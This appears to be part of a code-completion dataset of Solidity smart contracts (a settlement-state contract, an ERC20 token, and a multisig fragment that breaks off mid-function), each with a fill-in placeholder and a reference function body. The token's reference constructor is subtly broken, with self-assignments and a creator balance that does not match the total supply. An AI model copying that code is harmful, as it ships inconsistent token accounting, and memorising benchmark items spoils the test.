wallet and nonce [DriipSettlementState.sol:120]"); return settlements[walletNonceSettlementIndex[wallet][nonce] - 1]; } /// @notice Initialize settlement, i.e. create one if no such settlement exists /// for the double pair of wallets and nonces /// @param settledKind The kind of driip of the settlement /// @param settledHash The hash of driip of the settlement /// @param originWallet The address of the origin wallet /// @param originNonce The wallet nonce of the origin wallet /// @param targetWallet The address of the target wallet /// @param targetNonce The wallet nonce of the target wallet function initSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, address targetWallet, uint256 targetNonce) public onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION) { if ( 0 == walletNonceSettlementIndex[originWallet][originNonce] && 0 == walletNonceSettlementIndex[targetWallet][targetNonce] ) { // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; // Emit event emit InitSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } } /// @notice Set the done of the given settlement role in the given settlement /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @param done The done flag function completeSettlementParty(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done) public onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION) {<FILL_FUNCTION_BODY> } /// @notice Gauge whether the settlement is done wrt the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Return done return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.done : settlements[index - 1].target.done ); } /// @notice Gauge whether the settlement is done wrt the given wallet, nonce /// and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:246]"); // Return done return settlementParty.done; } /// @notice Get the done block number of the settlement party with the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:265]"); // Return done block number return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.doneBlockNumber : settlements[index - 1].target.doneBlockNumber ); } /// @notice Get the done block number of the settlement party with the given wallet, nonce and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:290]"); // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:298]"); // Return done block number return settlementParty.doneBlockNumber; } /// @notice Set the max (driip) nonce /// @param _maxDriipNonce The max nonce function setMaxDriipNonce(uint256 _maxDriipNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { maxDriipNonce = _maxDriipNonce; // Emit event emit SetMaxDriipNonceEvent(maxDriipNonce); } /// @notice Update the max driip nonce property from CommunityVote contract function updateMaxDriipNonceFromCommunityVote() public { uint256 _maxDriipNonce = communityVote.getMaxDriipNonce(); if (0 == _maxDriipNonce) return; maxDriipNonce = _maxDriipNonce; // Emit event emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce); } /// @notice Get the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @return The max nonce function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency) public view returns (uint256) { return walletCurrencyMaxNonce[wallet][currency.ct][currency.id]; } /// @notice Set the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @param maxNonce The max nonce function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency, uint256 maxNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { // Update max nonce value walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce; // Emit event emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce); } /// @notice Get the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param currency The concerned currency /// @return The total fee function totalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency) public view returns (MonetaryTypesLib.NoncedAmount memory) { return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id]; } /// @notice Set the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param _totalFee The total fee function setTotalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency, MonetaryTypesLib.NoncedAmount memory _totalFee) public onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION) { // Update total fees value totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee; // Emit event emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee); } /// @notice Freeze all future settlement upgrades /// @dev This operation can not be undone function freezeUpgrades() public onlyDeployer { // Freeze upgrade upgradesFrozen = true; // Emit event emit FreezeUpgradesEvent(); } /// @notice Upgrade settlement from other driip settlement state instance function upgradeSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, bool originDone, uint256 originDoneBlockNumber, address targetWallet, uint256 targetNonce, bool targetDone, uint256 targetDoneBlockNumber) public onlyDeployer { // Require that upgrades have not been frozen require(!upgradesFrozen, "Upgrades have been frozen [DriipSettlementState.sol:413]"); // Require that settlement has not been initialized/upgraded already require(0 == walletNonceSettlementIndex[originWallet][originNonce], "Settlement exists for origin wallet and nonce [DriipSettlementState.sol:416]"); require(0 == walletNonceSettlementIndex[targetWallet][targetNonce], "Settlement exists for target wallet and nonce [DriipSettlementState.sol:417]"); // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].origin.done = originDone; settlements[index].origin.doneBlockNumber = originDoneBlockNumber; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; settlements[index].target.done = targetDone; settlements[index].target.doneBlockNumber = targetDoneBlockNumber; // Emit event emit UpgradeSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } }
contract DriipSettlementState is Ownable, Servable, CommunityVotable { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; // // Constants // ----------------------------------------------------------------------------------------------------------------- string constant public INIT_SETTLEMENT_ACTION = "init_settlement"; string constant public SET_SETTLEMENT_ROLE_DONE_ACTION = "set_settlement_role_done"; string constant public SET_MAX_NONCE_ACTION = "set_max_nonce"; string constant public SET_FEE_TOTAL_ACTION = "set_fee_total"; // // Variables // ----------------------------------------------------------------------------------------------------------------- uint256 public maxDriipNonce; DriipSettlementTypesLib.Settlement[] public settlements; mapping(address => uint256[]) public walletSettlementIndices; mapping(address => mapping(uint256 => uint256)) public walletNonceSettlementIndex; mapping(address => mapping(address => mapping(uint256 => uint256))) public walletCurrencyMaxNonce; mapping(address => mapping(address => mapping(address => mapping(address => mapping(uint256 => MonetaryTypesLib.NoncedAmount))))) public totalFeesMap; bool public upgradesFrozen; // // Events // ----------------------------------------------------------------------------------------------------------------- event InitSettlementEvent(DriipSettlementTypesLib.Settlement settlement); event CompleteSettlementPartyEvent(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done, uint256 doneBlockNumber); event SetMaxNonceByWalletAndCurrencyEvent(address wallet, MonetaryTypesLib.Currency currency, uint256 maxNonce); event SetMaxDriipNonceEvent(uint256 maxDriipNonce); event UpdateMaxDriipNonceFromCommunityVoteEvent(uint256 maxDriipNonce); event SetTotalFeeEvent(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency currency, MonetaryTypesLib.NoncedAmount totalFee); event FreezeUpgradesEvent(); event UpgradeSettlementEvent(DriipSettlementTypesLib.Settlement settlement); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the count of settlements function settlementsCount() public view returns (uint256) { return settlements.length; } /// @notice Get the count of settlements for given wallet /// @param wallet The address for which to return settlement count /// @return count of settlements for the provided wallet function settlementsCountByWallet(address wallet) public view returns (uint256) { return walletSettlementIndices[wallet].length; } /// @notice Get settlement of given wallet and index /// @param wallet The address for which to return settlement /// @param index The wallet's settlement index /// @return settlement for the provided wallet and index function settlementByWalletAndIndex(address wallet, uint256 index) public view returns (DriipSettlementTypesLib.Settlement memory) { require(walletSettlementIndices[wallet].length > index, "Index out of bounds [DriipSettlementState.sol:107]"); return settlements[walletSettlementIndices[wallet][index] - 1]; } /// @notice Get settlement of given wallet and wallet nonce /// @param wallet The address for which to return settlement /// @param nonce The wallet's nonce /// @return settlement for the provided wallet and index function settlementByWalletAndNonce(address wallet, uint256 nonce) public view returns (DriipSettlementTypesLib.Settlement memory) { require(0 != walletNonceSettlementIndex[wallet][nonce], "No settlement found for wallet and nonce [DriipSettlementState.sol:120]"); return settlements[walletNonceSettlementIndex[wallet][nonce] - 1]; } /// @notice Initialize settlement, i.e. create one if no such settlement exists /// for the double pair of wallets and nonces /// @param settledKind The kind of driip of the settlement /// @param settledHash The hash of driip of the settlement /// @param originWallet The address of the origin wallet /// @param originNonce The wallet nonce of the origin wallet /// @param targetWallet The address of the target wallet /// @param targetNonce The wallet nonce of the target wallet function initSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, address targetWallet, uint256 targetNonce) public onlyEnabledServiceAction(INIT_SETTLEMENT_ACTION) { if ( 0 == walletNonceSettlementIndex[originWallet][originNonce] && 0 == walletNonceSettlementIndex[targetWallet][targetNonce] ) { // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; // Emit event emit InitSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } } <FILL_FUNCTION> /// @notice Gauge whether the settlement is done wrt the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Return done return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.done : settlements[index - 1].target.done ); } /// @notice Gauge whether the settlement is done wrt the given wallet, nonce /// and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return True if settlement is done for role, else false function isSettlementPartyDone(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (bool) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Return false if settlement does not exist if (0 == index) return false; // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:246]"); // Return done return settlementParty.done; } /// @notice Get the done block number of the settlement party with the given wallet and nonce /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:265]"); // Return done block number return ( wallet == settlements[index - 1].origin.wallet ? settlements[index - 1].origin.doneBlockNumber : settlements[index - 1].target.doneBlockNumber ); } /// @notice Get the done block number of the settlement party with the given wallet, nonce and settlement role /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @return The done block number of the settlement wrt the given settlement role function settlementPartyDoneBlockNumber(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole) public view returns (uint256) { // Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:290]"); // Get the settlement party DriipSettlementTypesLib.SettlementParty storage settlementParty = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Require that wallet is party of the right role require(wallet == settlementParty.wallet, "Wallet has wrong settlement role [DriipSettlementState.sol:298]"); // Return done block number return settlementParty.doneBlockNumber; } /// @notice Set the max (driip) nonce /// @param _maxDriipNonce The max nonce function setMaxDriipNonce(uint256 _maxDriipNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { maxDriipNonce = _maxDriipNonce; // Emit event emit SetMaxDriipNonceEvent(maxDriipNonce); } /// @notice Update the max driip nonce property from CommunityVote contract function updateMaxDriipNonceFromCommunityVote() public { uint256 _maxDriipNonce = communityVote.getMaxDriipNonce(); if (0 == _maxDriipNonce) return; maxDriipNonce = _maxDriipNonce; // Emit event emit UpdateMaxDriipNonceFromCommunityVoteEvent(maxDriipNonce); } /// @notice Get the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @return The max nonce function maxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency) public view returns (uint256) { return walletCurrencyMaxNonce[wallet][currency.ct][currency.id]; } /// @notice Set the max nonce of the given wallet and currency /// @param wallet The address of the concerned wallet /// @param currency The concerned currency /// @param maxNonce The max nonce function setMaxNonceByWalletAndCurrency(address wallet, MonetaryTypesLib.Currency memory currency, uint256 maxNonce) public onlyEnabledServiceAction(SET_MAX_NONCE_ACTION) { // Update max nonce value walletCurrencyMaxNonce[wallet][currency.ct][currency.id] = maxNonce; // Emit event emit SetMaxNonceByWalletAndCurrencyEvent(wallet, currency, maxNonce); } /// @notice Get the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param currency The concerned currency /// @return The total fee function totalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency) public view returns (MonetaryTypesLib.NoncedAmount memory) { return totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id]; } /// @notice Set the total fee payed by the given wallet to the given beneficiary and destination /// in the given currency /// @param wallet The address of the concerned wallet /// @param beneficiary The concerned beneficiary /// @param destination The concerned destination /// @param _totalFee The total fee function setTotalFee(address wallet, Beneficiary beneficiary, address destination, MonetaryTypesLib.Currency memory currency, MonetaryTypesLib.NoncedAmount memory _totalFee) public onlyEnabledServiceAction(SET_FEE_TOTAL_ACTION) { // Update total fees value totalFeesMap[wallet][address(beneficiary)][destination][currency.ct][currency.id] = _totalFee; // Emit event emit SetTotalFeeEvent(wallet, beneficiary, destination, currency, _totalFee); } /// @notice Freeze all future settlement upgrades /// @dev This operation can not be undone function freezeUpgrades() public onlyDeployer { // Freeze upgrade upgradesFrozen = true; // Emit event emit FreezeUpgradesEvent(); } /// @notice Upgrade settlement from other driip settlement state instance function upgradeSettlement(string memory settledKind, bytes32 settledHash, address originWallet, uint256 originNonce, bool originDone, uint256 originDoneBlockNumber, address targetWallet, uint256 targetNonce, bool targetDone, uint256 targetDoneBlockNumber) public onlyDeployer { // Require that upgrades have not been frozen require(!upgradesFrozen, "Upgrades have been frozen [DriipSettlementState.sol:413]"); // Require that settlement has not been initialized/upgraded already require(0 == walletNonceSettlementIndex[originWallet][originNonce], "Settlement exists for origin wallet and nonce [DriipSettlementState.sol:416]"); require(0 == walletNonceSettlementIndex[targetWallet][targetNonce], "Settlement exists for target wallet and nonce [DriipSettlementState.sol:417]"); // Create new settlement settlements.length++; // Get the 0-based index uint256 index = settlements.length - 1; // Update settlement settlements[index].settledKind = settledKind; settlements[index].settledHash = settledHash; settlements[index].origin.nonce = originNonce; settlements[index].origin.wallet = originWallet; settlements[index].origin.done = originDone; settlements[index].origin.doneBlockNumber = originDoneBlockNumber; settlements[index].target.nonce = targetNonce; settlements[index].target.wallet = targetWallet; settlements[index].target.done = targetDone; settlements[index].target.doneBlockNumber = targetDoneBlockNumber; // Emit event emit UpgradeSettlementEvent(settlements[index]); // Store 1-based index value index++; walletSettlementIndices[originWallet].push(index); walletSettlementIndices[targetWallet].push(index); walletNonceSettlementIndex[originWallet][originNonce] = index; walletNonceSettlementIndex[targetWallet][targetNonce] = index; } }
// Get the 1-based index of the settlement uint256 index = walletNonceSettlementIndex[wallet][nonce]; // Require the existence of settlement require(0 != index, "No settlement found for wallet and nonce [DriipSettlementState.sol:181]"); // Get the settlement party DriipSettlementTypesLib.SettlementParty storage party = DriipSettlementTypesLib.SettlementRole.Origin == settlementRole ? settlements[index - 1].origin : settlements[index - 1].target; // Update party done and done block number properties party.done = done; party.doneBlockNumber = done ? block.number : 0; // Emit event emit CompleteSettlementPartyEvent(wallet, nonce, settlementRole, done, party.doneBlockNumber);
function completeSettlementParty(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done) public onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION)
/// @notice Set the done of the given settlement role in the given settlement /// @param wallet The address of the concerned wallet /// @param nonce The nonce of the concerned wallet /// @param settlementRole The settlement role /// @param done The done flag function completeSettlementParty(address wallet, uint256 nonce, DriipSettlementTypesLib.SettlementRole settlementRole, bool done) public onlyEnabledServiceAction(SET_SETTLEMENT_ROLE_DONE_ACTION)
86326
MyToken
null
contract MyToken { // Public variables of the token string public name = "DTIlite"; string public symbol = "DTI"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 10000000; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public {<FILL_FUNCTION_BODY> } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /** custom add-on to ERC20: airDrop * Airdrop to multiple accounts at once * * Deliver 1 token to each account in [] beneficiaries * * @param beneficiaries the addresses of the receivers */ function airDrop(address[] beneficiaries) public returns (bool success) { require(balanceOf[msg.sender] >= beneficiaries.length); // Check balance for (uint8 i = 0; i< beneficiaries.length; i++) { address beneficiary = beneficiaries[i]; transfer(beneficiary, 1 * 10 ** uint256(decimals)); } return true; } }
contract MyToken { // Public variables of the token string public name = "DTIlite"; string public symbol = "DTI"; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply = 10000000; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); <FILL_FUNCTION> /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } /** custom add-on to ERC20: airDrop * Airdrop to multiple accounts at once * * Deliver 1 token to each account in [] beneficiaries * * @param beneficiaries the addresses of the receivers */ function airDrop(address[] beneficiaries) public returns (bool success) { require(balanceOf[msg.sender] >= beneficiaries.length); // Check balance for (uint8 i = 0; i< beneficiaries.length; i++) { address beneficiary = beneficiaries[i]; transfer(beneficiary, 1 * 10 ** uint256(decimals)); } return true; } }
totalSupply = totalSupply; // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply * 10 ** uint256(decimals); // Give the creator all initial tokens name = name; // Set the name for display purposes symbol = symbol; // Set the symbol for display purposes
constructor() public
/** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public
39313
DharmaKeyRegistryMultisig
_toEthSignedMessageHash
contract DharmaKeyRegistryMultisig { // The nonce is the only mutable state, and is incremented on every call. uint256 private _nonce; // Maintain a mapping and a convenience array of owners. mapping(address => bool) private _isOwner; address[] private _owners; // V2 of the Dharma Key Registry is the only account the multisig can call. address private constant _DESTINATION = address( 0x000000000D38df53b45C5733c7b34000dE0BDF52 ); // The threshold is an exact number of valid signatures that must be supplied. uint256 private constant _THRESHOLD = 3; // Note: Owners must be strictly increasing in order to prevent duplicates. constructor(address[] memory owners) public { require(owners.length <= 10, "Cannot have more than 10 owners."); require(_THRESHOLD <= owners.length, "Threshold cannot exceed total owners."); address lastAddress = address(0); for (uint256 i = 0; i < owners.length; i++) { require( owners[i] > lastAddress, "Owner addresses must be strictly increasing." ); _isOwner[owners[i]] = true; lastAddress = owners[i]; } _owners = owners; } function getNextHash( bytes calldata data, address executor, uint256 gasLimit ) external view returns (bytes32 hash) { hash = _getHash(data, executor, gasLimit, _nonce); } function getHash( bytes calldata data, address executor, uint256 gasLimit, uint256 nonce ) external view returns (bytes32 hash) { hash = _getHash(data, executor, gasLimit, nonce); } function getNonce() external view returns (uint256 nonce) { nonce = _nonce; } function getOwners() external view returns (address[] memory owners) { owners = _owners; } function isOwner(address account) external view returns (bool owner) { owner = _isOwner[account]; } function getThreshold() external pure returns (uint256 threshold) { threshold = _THRESHOLD; } function getDestination() external pure returns (address destination) { destination = _DESTINATION; } // Note: addresses recovered from signatures must be strictly increasing. function execute( bytes calldata data, address executor, uint256 gasLimit, bytes calldata signatures ) external returns (bool success, bytes memory returnData) { require( executor == msg.sender || executor == address(0), "Must call from the executor account if one is specified." ); // Derive the message hash and wrap in the eth signed messsage hash. bytes32 hash = _toEthSignedMessageHash( _getHash(data, executor, gasLimit, _nonce) ); // Recover each signer from the provided signatures. address[] memory signers = _recoverGroup(hash, signatures); require(signers.length == _THRESHOLD, "Total signers must equal threshold."); // Verify that each signatory is an owner and is strictly increasing. address lastAddress = address(0); // cannot have address(0) as an owner for (uint256 i = 0; i < signers.length; i++) { require( _isOwner[signers[i]], "Signature does not correspond to an owner." ); require( signers[i] > lastAddress, "Signer addresses must be strictly increasing." ); lastAddress = signers[i]; } // Increment the nonce and execute the transaction. _nonce++; (success, returnData) = 